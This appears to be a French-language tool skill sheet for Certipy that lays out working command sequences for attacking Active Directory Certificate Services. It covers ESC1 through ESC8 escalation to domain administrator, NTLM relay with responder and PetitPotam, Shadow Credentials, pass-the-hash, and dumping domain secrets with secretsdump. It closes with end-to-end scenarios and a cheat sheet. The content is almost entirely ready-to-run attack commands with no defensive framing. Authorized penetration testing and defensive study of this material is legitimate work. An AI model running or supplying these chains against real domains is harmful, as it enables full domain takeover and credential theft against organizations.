| name | certipy |
| description | Certipy — exploitation ADCS (Active Directory Certificate Services), ESC1 à ESC8, forger des certificats, authentification par certificat, pass-the-certificate, Shadow Credentials, et attaques PKI. |
Certipy — Exploitation ADCS (PKI)
Présentation
Certipy est un outil Python pour l'exploitation des services de certificats Active Directory (ADCS). Il permet de détecter et exploiter les ESC (Escalation) 1 à 8.
Installation :
pip3 install certipy-ad
git clone https://github.com/ly4k/Certipy.git
cd Certipy && pip3 install .
Concepts ADCS
ESC (Escalation) — Vulnérabilités ADCS
Reconnaissance ADCS
Découverte des services ADCS
certipy find -u user@domain.local -p 'Password123' -dc-ip 192.168.1.10
certipy find -u user@domain.local -p 'Password123' -dc-ip 192.168.1.10 \
-stdout -output certipy_output
certipy find -u user@domain.local -p 'Password123' -dc-ip 192.168.1.10 \
-vulnerable -stdout
Analyse des résultats
Détection ESC1
certipy find -u user@domain.local -p 'Password123' -dc-ip 192.168.1.10 \
| grep -A 10 "ESC1"
Exploitation ESC1 (Basique)
Condition : Template vulnérable (enrollee supplies subject)
certipy req -u user@domain.local -p 'Password123' \
-ca 'CA-SERVER-CA' \
-template 'VulnTemplate' \
-target 192.168.1.10 \
-upn 'administrator@domain.local'
2. Authentification avec le certificat
certipy auth -pfx administrator_dc.pfx \
-dc-ip 192.168.1.10 \
-username administrator \
-domain domain.local
3. Pass-the-Hash avec le hash récupéré
evil-winrm -i 192.168.1.10 -u Administrator -H <NTHASH>
impacket-psexec -hashes :<NTHASH> Administrator@192.168.1.10
4. OU : obtenir un TGT et l'utiliser
certipy auth -pfx administrator_dc.pfx -dc-ip 192.168.1.10
export KRB5CCNAME=/path/to/administrator.ccache
impacket-psexec -k -no-pass administrator@192.168.1.10
Exploitation ESC2 (Any Purpose)
ESC2 — Tous les usages autorisés
certipy find -u user@domain.local -p 'Password123' | grep -A 5 "ESC2"
certipy req -u user@domain.local -p 'Password123' \
-ca 'CA-SERVER-CA' \
-template 'AnyPurposeTemplate' \
-target 192.168.1.10
certipy auth -pfx certificate.pfx -dc-ip 192.168.1.10
Exploitation ESC3 (Certificate Request Agent)
ESC3 — Agent de récupération
certipy req -u user@domain.local -p 'Password123' \
-ca 'CA-SERVER-CA' \
-template 'User' \
-target 192.168.1.10
certipy req -u user@domain.local -p 'Password123' \
-ca 'CA-SERVER-CA' \
-template 'Machine/User' \
-target 192.168.1.10 \
-on-behalf-of 'DOMAIN\Administrator'
Exploitation ESC4 (ACL Abuse)
ESC4 — Modifier un template pour le rendre vulnérable
certipy find -u user@domain.local -p 'Password123' \
-dc-ip 192.168.1.10 | grep -A 10 "ESC4"
certipy template -u user@domain.local -p 'Password123' \
-template 'VulnTemplate' \
-save-old \
-dc-ip 192.168.1.10
certipy req -u user@domain.local -p 'Password123' \
-ca 'CA-SERVER-CA' \
-template 'VulnTemplate' \
-target 192.168.1.10 \
-upn 'administrator@domain.local'
certipy template -u user@domain.local -p 'Password123' \
-template 'VulnTemplate' \
-configuration 'old.json'
Exploitation ESC5 (CA ACL Abuse)
certipy find -u user@domain.local -p 'Password123' | grep -A 10 "ESC5"
certipy ca -u user@domain.local -p 'Password123' \
-ca 'CA-SERVER-CA' \
-add-officer 'attacker' \
-target 192.168.1.10
Exploitation ESC6 (EDITF_ATTRIBUTESUBJECTALTNAME2)
certipy find -u user@domain.local -p 'Password123' | grep -A 10 "ESC6"
certipy req -u user@domain.local -p 'Password123' \
-ca 'CA-SERVER-CA' \
-template 'User' \
-target 192.168.1.10 \
-upn 'administrator@domain.local'
Exploitation ESC7 (CA Manager + SubCA)
certipy find -u user@domain.local -p 'Password123' | grep -A 10 "ESC7"
certipy ca -u user@domain.local -p 'Password123' \
-ca 'CA-SERVER-CA' \
-enable 'EDITF_ATTRIBUTESUBJECTALTNAME2' \
-target 192.168.1.10
certipy req -u user@domain.local -p 'Password123' \
-ca 'CA-SERVER-CA' \
-template 'SubCA' \
-target 192.168.1.10 \
-upn 'administrator@domain.local' \
-approved
Exploitation ESC8 (NTLM Relay to ADCS)
Préparation : NTLM Relay vers Web Enrollment
impacket-ntlmrelayx -t http://192.168.1.10/certsrv/certfnsh.asp \
-smb2support \
--adcs \
--template 'User'
sudo responder -I eth0 -r -d -w -v
Récupération automatique avec Certipy
certipy relay -ca 'CA-SERVER-CA' -template 'User'
python3 petitpotam.py -u '' -p '' 192.168.1.50 192.168.1.10
Shadow Credentials
certipy shadow add -u user@domain.local -p 'Password123' \
-target 'DC01$' \
-dc-ip 192.168.1.10
certipy auth -pfx dc01.pfx -dc-ip 192.168.1.10 \
-username 'DC01$' -domain domain.local
impacket-secretsdump -hashes :<NTHASH> 'DOMAIN/DC01$@192.168.1.10'
certipy shadow remove -u user@domain.local -p 'Password123' \
-target 'DC01$'
Création de certificats
Demande de certificat basique
certipy req -u user@domain.local -p 'Password123' \
-ca 'CA-SERVER-CA' \
-template 'User' \
-target 192.168.1.10 \
-key-size 2048
Certificat avec clé exportable
certipy req -u user@domain.local -p 'Password123' \
-ca 'CA-SERVER-CA' \
-template 'User' \
-target 192.168.1.10 \
-key-export
Authentification avec certificat
Obtenir TGT + Hash
certipy auth -pfx certificate.pfx \
-dc-ip 192.168.1.10 \
-username administrator \
-domain domain.local
Utilisation dans Kerberos
certipy auth -pfx certificate.pfx \
-dc-ip 192.168.1.10 \
-export
export KRB5CCNAME=administrator.ccache
impacket-psexec -k -no-pass administrator@192.168.1.10
Scénarios complets
1. Dump du domaine via PKI
certipy find -u user@domain.local -p 'Password123' -dc-ip 192.168.1.10
certipy req -u user@domain.local -p 'Password123' \
-ca 'CA-SERVER-CA' \
-template 'ESC1Template' \
-target 192.168.1.10 \
-upn 'administrator@domain.local'
certipy auth -pfx administrator_dc.pfx -dc-ip 192.168.1.10
impacket-secretsdump -hashes :<NTHASH> 'DOMAIN/Administrator@192.168.1.10'
2. ESC8 + Relay
certipy relay -ca 'CA-SERVER-CA' -template 'User'
petitpotam.py -u '' -p '' 192.168.1.50 192.168.1.10
certipy auth -pfx <cert>.pfx -dc-ip 192.168.1.10
Dépannage
| Problème | Solution |
|---|
| "No CA found" | Vérifier ADCS installé sur le DC |
| "Access denied" | L'utilisateur n'a pas les droits d'enrôlement |
| ESC1 pas exploitable | Vérifier que le template est activé et accessible |
| PFX corrompu | Re-générer avec --key-export |
| "Certificate failed" | Vérifier l'URL ADCS (http://dc/certsrv/) |
Antisèche rapide
certipy find -u user@domain.local -p 'Password123' -dc-ip 192.168.1.10
certipy req -u user@domain.local -p 'Password123' \
-ca 'CA-SERVER-CA' \
-template 'VulnTemplate' \
-target 192.168.1.10 \
-upn 'administrator@domain.local'
certipy auth -pfx administrator_dc.pfx -dc-ip 192.168.1.10
impacket-secretsdump -hashes :NTHASH 'DOMAIN/Admin@192.168.1.10'
certipy shadow add -u user@domain.local -p 'Password123' \
-target 'DC01$' -dc-ip 192.168.1.10